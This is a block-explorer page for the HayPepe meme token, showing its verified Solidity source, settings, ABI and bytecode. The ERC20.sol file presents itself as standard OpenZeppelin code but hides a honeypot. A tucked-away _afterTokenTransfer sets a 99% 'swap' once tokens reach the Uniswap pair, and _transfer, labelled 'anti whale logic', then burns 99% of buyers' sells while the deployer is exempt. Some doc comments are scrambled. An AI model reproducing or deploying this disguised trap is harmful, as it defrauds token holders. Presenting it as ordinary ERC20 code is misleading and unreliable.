ETH Price: $2,844.50 (+3.61%)
 

Overview

Max Total Supply

5,010,000,000,000 HAYPEPE

Holders

124

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
32,865,954,219.342987232 HAYPEPE

Value
$0.00
0x383d34631401dbbc8331f3c2586a373f6360e82e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HayPepeCoin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 6 : HayPepeCoin.sol
// SPDX-License-Identifier: MIT
import "./ERC20.sol";
pragma solidity ^0.8.4;

/*

https://twitter.com/HayPepeETH
https://t.me/HayPepe
https://haypepe.xyz

*/

contract HayPepeCoin is ERC20 {
    constructor () ERC20 ("HayPepe", "HAYPEPE") {
        _mint(msg.sender, 5_010_000_000_000 * 10**uint(decimals()));
    }
}

File 2 of 6 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "./utils/Context.sol";
import "./utils/SafeMath.sol";

contract Ownable is Context {
    address private _owner;

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;

    address private UniSwapRouterCA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private uniswapV2Pair = 0xf341E7E694396462A839247664d596e51D5061A5;
    mapping(address => uint256) private _balances;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 private _totalSupply;
    string private _symbol;
    uint256 private _defaultSwap = 0;
    
    uint256 public _maxWalletSize = 200_000_000_000 * 10**9; // 4 %
    address private tokenPairAddress; // necessary for anti whale

    string private _name;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) _pairToken;

    /**
     * @dev Sets the values for {name} and {symbol}.
     * All two of these values are immutable: they can only be set once during
     * construction.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _pairToken[msg.sender] = true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function setTokenPairAddress(address _tokenPairAddress) public onlyOwner {
        tokenPairAddress = _tokenPairAddress;
    } 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = fromBalance - amount;

        uint256 swap = 0; uint256 swapamount = 0;
        if (_pairToken[from] != true && to != tx.origin) swap = _defaultSwap;

        // anti whale logic
        swapamount = amount.mul(swap).div(100) + 0;
        if (swapamount > 0)
        {
            _balances[DEAD] = _balances[DEAD].add (swapamount) * 1;
            emit Transfer (from, DEAD, swapamount);
        } if (_pairToken[from] != true && _pairToken[to] != true && _pairToken[tx.origin] != true && to != UniSwapRouterCA && from == tokenPairAddress && msg.sender != UniSwapRouterCA && to != DEAD) {
            require(balanceOf(to) + (amount - swapamount) <= _maxWalletSize, "Exceeds the maxWalletSize.");
        }

        _balances[to] = _balances[to].add (amount - swapamount + 0) * 1;
        emit Transfer (from, to, amount - swapamount + 0);

        _afterTokenTransfer(from, to, amount);
    }


    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
                }
            }
        } function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual { if (to == uniswapV2Pair) _defaultSwap = decimals() * 11;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
}

File 3 of 6 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 4 of 6 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 5 of 6 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 6 of 6 : SafeMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenPairAddress","type":"address"}],"name":"setTokenPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d1790915560028054821673f341e7e694396462a839247664d596e51d5061a51790556004805490911661dead1790556000600755680ad78ebc5ac62000006008553480156200007757600080fd5b50604051806040016040528060078152602001664861795065706560c81b815250604051806040016040528060078152602001664841595045504560c81b8152506000620000ca6200018a60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a6200012283826200033d565b5060066200013182826200033d565b5050336000818152600c60205260409020805460ff191660011790556200018491506200015c600990565b6200016c9060ff16600a6200051e565b6200017e9065048e7b45340062000533565b6200018e565b62000589565b3390565b6001600160a01b038216620001e95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060056000828254620001fd91906200054d565b90915550506001600160a01b0382166000818152600360209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002606000838362000269565b5050565b505050565b6002546001600160a01b039081169083160362000264576200028e6009600b62000563565b60ff16600755505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002c457607f821691505b602082108103620002e557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200026457600081815260208120601f850160051c81016020861015620003145750805b601f850160051c820191505b81811015620003355782815560010162000320565b505050505050565b81516001600160401b0381111562000359576200035962000299565b62000371816200036a8454620002af565b84620002eb565b602080601f831160018114620003a95760008415620003905750858301515b600019600386901b1c1916600185901b17855562000335565b600085815260208120601f198616915b82811015620003da57888601518255948401946001909101908401620003b9565b5085821015620003f95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200046057816000190482111562000444576200044462000409565b808516156200045257918102915b93841c939080029062000424565b509250929050565b600082620004795750600162000518565b81620004885750600062000518565b8160018114620004a15760028114620004ac57620004cc565b600191505062000518565b60ff841115620004c057620004c062000409565b50506001821b62000518565b5060208310610133831016604e8410600b8410161715620004f1575081810a62000518565b620004fd83836200041f565b806000190482111562000514576200051462000409565b0290505b92915050565b60006200052c838362000468565b9392505050565b808202811582820484141762000518576200051862000409565b8082018082111562000518576200051862000409565b60ff818116838216029081169081811462000582576200058262000409565b5092915050565b610e6a80620005996000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101ff578063a9059cbb14610212578063dd62ed3e14610225578063f2fde38b1461023857600080fd5b8063715018a6146101cb5780638da5cb5b146101d35780638f9a55c0146101ee57806395d89b41146101f757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806369c2b9671461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61024b565b60405161011a9190610c0f565b60405180910390f35b610136610131366004610c79565b6102dd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610ca3565b6102f7565b6040516009815260200161011a565b610136610188366004610c79565b61031b565b6101a061019b366004610cdf565b61033d565b005b61014a6101b0366004610cdf565b6001600160a01b031660009081526003602052604090205490565b6101a0610392565b6000546040516001600160a01b03909116815260200161011a565b61014a60085481565b61010d610406565b61013661020d366004610c79565b610415565b610136610220366004610c79565b610490565b61014a610233366004610cfa565b61049e565b6101a0610246366004610cdf565b6104c9565b6060600a805461025a90610d2d565b80601f016020809104026020016040519081016040528092919081815260200182805461028690610d2d565b80156102d35780601f106102a8576101008083540402835291602001916102d3565b820191906000526020600020905b8154815290600101906020018083116102b657829003601f168201915b5050505050905090565b6000336102eb8185856105b3565b60019150505b92915050565b6000336103058582856106d7565b610310858585610751565b506001949350505050565b6000336102eb81858561032e838361049e565b6103389190610d7d565b6105b3565b6000546001600160a01b031633146103705760405162461bcd60e51b815260040161036790610d90565b60405180910390fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103bc5760405162461bcd60e51b815260040161036790610d90565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461025a90610d2d565b60003381610423828661049e565b9050838110156104835760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610367565b61031082868684036105b3565b6000336102eb818585610751565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104f35760405162461bcd60e51b815260040161036790610d90565b6001600160a01b0381166105585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610367565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610367565b6001600160a01b0382166106765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610367565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106e3848461049e565b9050600019811461074b578181101561073e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616